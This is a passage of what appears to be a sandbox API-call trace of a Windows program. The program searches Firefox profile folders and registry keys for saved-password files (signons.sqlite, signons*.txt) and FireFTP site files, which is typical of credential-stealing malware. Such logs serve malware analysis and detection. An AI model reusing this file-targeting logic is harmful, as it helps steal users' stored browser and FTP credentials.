(lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.956] lstrlenA (lpString="\\") returned 1 [0070.956] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.956] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.956] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.956] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.956] lstrlenA (lpString="webapps") returned 7 [0070.956] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x65b348 [0070.956] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.956] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="webapps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps" [0070.956] LocalFree (hMem=0x6275a8) returned 0x0 [0070.956] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps") returned 82 [0070.956] lstrlenA (lpString="\\*.*") returned 4 [0070.956] LocalAlloc (uFlags=0x40, uBytes=0xd7) returned 0x65b428 [0070.956] lstrcpyA (in: lpString1=0x65b428, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps" [0070.956] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps\\*.*" [0070.956] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps\\*.*", lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 0x642768 [0070.956] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.956] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 1 [0070.956] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.956] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.956] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 1 [0070.956] StrStrIA (lpFirst="webapps.json", lpSrch="signons.sqlite") returned 0x0 [0070.956] lstrlenA (lpString="webapps.json") returned 12 [0070.956] StrStrIA (lpFirst="webapps.json", lpSrch="signons.txt") returned 0x0 [0070.956] StrStrIA (lpFirst="webapps.json", lpSrch="signons2.txt") returned 0x0 [0070.956] StrStrIA (lpFirst="webapps.json", lpSrch="signons3.txt") returned 0x0 [0070.956] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 0 [0070.956] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0070.956] LocalFree (hMem=0x65b428) returned 0x0 [0070.956] LocalFree (hMem=0x65b348) returned 0x0 [0070.956] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.956] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.956] lstrlenA (lpString="webappsstore.sqlite") returned 19 [0070.956] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.txt") returned 0x0 [0070.956] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.956] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.956] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 0 [0070.956] FindClose (in: hFindFile=0x642728 | out: hFindFile=0x642728) returned 1 [0070.957] LocalFree (hMem=0x627320) returned 0x0 [0070.957] LocalFree (hMem=0x627248) returned 0x0 [0070.957] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa46 | out: lpFindFileData=0x12fa46) returned 0 [0070.957] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0070.957] LocalFree (hMem=0x65d330) returned 0x0 [0070.957] LocalFree (hMem=0x65e350) returned 0x0 [0070.957] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbae | out: lpFindFileData=0x12fbae) returned 1 [0070.957] StrStrIA (lpFirst="profiles.ini", lpSrch="signons.sqlite") returned 0x0 [0070.957] lstrlenA (lpString="profiles.ini") returned 12 [0070.957] StrStrIA (lpFirst="profiles.ini", lpSrch="signons.txt") returned 0x0 [0070.957] StrStrIA (lpFirst="profiles.ini", lpSrch="signons2.txt") returned 0x0 [0070.957] StrStrIA (lpFirst="profiles.ini", lpSrch="signons3.txt") returned 0x0 [0070.957] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbae | out: lpFindFileData=0x12fbae) returned 0 [0070.957] FindClose (in: hFindFile=0x6426a8 | out: hFindFile=0x6426a8) returned 1 [0070.957] LocalFree (hMem=0x643b68) returned 0x0 [0070.957] LocalFree (hMem=0x643aa8) returned 0x0 [0070.957] LocalFree (hMem=0x6475b0) returned 0x0 [0070.957] LocalFree (hMem=0x6474f8) returned 0x0 [0070.957] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0070.957] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0070.957] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0070.958] RegCloseKey (hKey=0x134) returned 0x0 [0070.958] LocalFree (hMem=0x646ba0) returned 0x0 [0070.958] LocalFree (hMem=0x647440) returned 0x0 [0070.958] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x1, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0070.958] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0070.958] lstrlenA (lpString="\\") returned 1 [0070.958] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0070.958] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0070.958] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0070.958] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0070.958] lstrlenA (lpString="extensions") returned 10 [0070.958] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x643aa8 [0070.958] lstrcpyA (in: lpString1=0x643aa8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0070.958] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="extensions" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions" [0070.958] LocalFree (hMem=0x6293a8) returned 0x0 [0070.958] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", lpSrch="Firefox") returned="Firefox 25.0\\extensions" [0070.958] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd10 | out: phkResult=0x12fd10*=0x134) returned 0x0 [0070.958] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd08, lpData=0x0, lpcbData=0x12fd0c*=0x7 | out: lpType=0x12fd08*=0x0, lpData=0x0, lpcbData=0x12fd0c*=0x0) returned 0x2 [0070.958] RegCloseKey (hKey=0x134) returned 0x0 [0070.958] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fce4 | out: phkResult=0x12fce4*=0x134) returned 0x0 [0070.958] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcdc, lpData=0x0, lpcbData=0x12fce0*=0x12fcc8 | out: lpType=0x12fcdc*=0x0, lpData=0x0, lpcbData=0x12fce0*=0x0) returned 0x2 [0070.958] RegCloseKey (hKey=0x134) returned 0x0 [0070.958] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcb8 | out: phkResult=0x12fcb8*=0x134) returned 0x0 [0070.958] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcb0, lpData=0x0, lpcbData=0x12fcb4*=0x12fc9c | out: lpType=0x12fcb0*=0x0, lpData=0x0, lpcbData=0x12fcb4*=0x0) returned 0x2 [0070.958] RegCloseKey (hKey=0x134) returned 0x0 [0070.958] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0070.958] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0070.958] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0070.958] RegCloseKey (hKey=0x134) returned 0x0 [0070.958] LocalFree (hMem=0x646ba0) returned 0x0 [0070.958] LocalFree (hMem=0x643aa8) returned 0x0 [0070.958] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x2, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0070.958] RegCloseKey (hKey=0x130) returned 0x0 [0070.958] LocalFree (hMem=0x646318) returned 0x0 [0070.958] LocalFree (hMem=0x6292f8) returned 0x0 [0070.959] RegEnumKeyExA (in: hKey=0x12c, dwIndex=0x4, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0070.959] RegCloseKey (hKey=0x12c) returned 0x0 [0070.959] LocalFree (hMem=0x645a90) returned 0x0 [0070.959] SetCurrentDirectoryA (lpPathName="C:\\Users\\EEBsYm5\\Desktop" (normalized: "c:\\users\\eebsym5\\desktop")) returned 1 [0070.959] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0070.959] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0070.959] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fdcc*=0x10, cb=0x4, pcbWritten=0x12fda8 | out: pcbWritten=0x12fda8*=0x4) returned 0x0 [0070.959] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0070.959] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0070.959] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0070.959] LocalFree (hMem=0x65d418) returned 0x0 [0070.959] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0070.959] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0070.959] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fda0 | out: pcbWritten=0x12fda0*=0x8) returned 0x0 [0070.959] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fdc8*=0x0, cb=0x4, pcbWritten=0x12fda4 | out: pcbWritten=0x12fda4*=0x4) returned 0x0 [0070.959] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fddc*=0x25, cb=0x2, pcbWritten=0x12fda0 | out: pcbWritten=0x12fda0*=0x2) returned 0x0 [0070.959] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fde0*=0x0, cb=0x2, pcbWritten=0x12fda0 | out: pcbWritten=0x12fda0*=0x2) returned 0x0 [0070.959] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0070.959] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0070.959] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0070.959] lstrlenA (lpString="\\Mozilla\\Firefox\\") returned 17 [0070.959] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x643aa8 [0070.959] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0070.959] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.960] LocalFree (hMem=0x626a88) returned 0x0 [0070.960] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0070.960] lstrlenA (lpString="*.*") returned 3 [0070.960] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x643b68 [0070.960] lstrcpyA (in: lpString1=0x643b68, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.960] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\*.*" [0070.960] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\*.*", lpFindFileData=0x12fc6e | out: lpFindFileData=0x12fc6e) returned 0x6426a8 [0070.960] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.960] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fc6e | out: lpFindFileData=0x12fc6e) returned 1 [0070.960] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.960] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.960] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fc6e | out: lpFindFileData=0x12fc6e) returned 1 [0070.960] lstrcmpiA (lpString1=".", lpString2="Crash Reports") returned -1 [0070.960] lstrcmpiA (lpString1="..", lpString2="Crash Reports") returned -1 [0070.960] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0070.960] lstrlenA (lpString="") returned 0 [0070.960] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x643c28 [0070.960] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.960] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.960] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0070.960] lstrlenA (lpString="Crash Reports") returned 13 [0070.960] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x65e350 [0070.960] lstrcpyA (in: lpString1=0x65e350, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.960] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Crash Reports" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" [0070.960] LocalFree (hMem=0x643c28) returned 0x0 [0070.960] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned 62 [0070.960] lstrlenA (lpString="\\*.*") returned 4 [0070.960] LocalAlloc (uFlags=0x40, uBytes=0xc3) returned 0x65d330 [0070.960] lstrcpyA (in: lpString1=0x65d330, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" [0070.960] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*" [0070.960] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*", lpFindFileData=0x12fb02 | out: lpFindFileData=0x12fb02) returned 0x6426e8 [0070.960] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.960] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fb02 | out: lpFindFileData=0x12fb02) returned 1 [0070.960] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.960] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.960] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fb02 | out: lpFindFileData=0x12fb02) returned 1 [0070.960] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="fireFTPsites.dat") returned 0x0 [0070.960] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fb02 | out: lpFindFileData=0x12fb02) returned 0 [0070.960] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0070.961] LocalFree (hMem=0x65d330) returned 0x0 [0070.961] LocalFree (hMem=0x65e350) returned 0x0 [0070.961] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fc6e | out: lpFindFileData=0x12fc6e) returned 1 [0070.961] lstrcmpiA (lpString1=".", lpString2="Profiles") returned -1 [0070.961] lstrcmpiA (lpString1="..", lpString2="Profiles") returned -1 [0070.961] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0070.961] lstrlenA (lpString="") returned 0 [0070.961] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x643c28 [0070.961] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.961] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.961] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0070.961] lstrlenA (lpString="Profiles") returned 8 [0070.961] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x65e350 [0070.961] lstrcpyA (in: lpString1=0x65e350, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.961] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Profiles" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0070.961] LocalFree (hMem=0x643c28) returned 0x0 [0070.961] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 57 [0070.961] lstrlenA (lpString="\\*.*") returned 4 [0070.961] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x65d330 [0070.961] lstrcpyA (in: lpString1=0x65d330, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0070.961] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*" [0070.961] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*", lpFindFileData=0x12fb02 | out: lpFindFileData=0x12fb02) returned 0x6426e8 [0070.961] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.961] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fb02 | out: lpFindFileData=0x12fb02) returned 1 [0070.961] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.961] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.961] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fb02 | out: lpFindFileData=0x12fb02) returned 1 [0070.961] lstrcmpiA (lpString1=".", lpString2="h231daer.default") returned -1 [0070.961] lstrcmpiA (lpString1="..", lpString2="h231daer.default") returned -1 [0070.961] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 57 [0070.961] lstrlenA (lpString="\\") returned 1 [0070.961] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x641518 [0070.961] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0070.961] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0070.961] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned 58 [0070.961] lstrlenA (lpString="h231daer.default") returned 16 [0070.961] LocalAlloc (uFlags=0x40, uBytes=0xcb) returned 0x627248 [0070.961] lstrcpyA (in: lpString1=0x627248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0070.961] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", lpString2="h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.961] LocalFree (hMem=0x641518) returned 0x0 [0070.962] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.962] lstrlenA (lpString="\\*.*") returned 4 [0070.962] LocalAlloc (uFlags=0x40, uBytes=0xcf) returned 0x627320 [0070.962] lstrcpyA (in: lpString1=0x627320, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.962] lstrcatA (in: 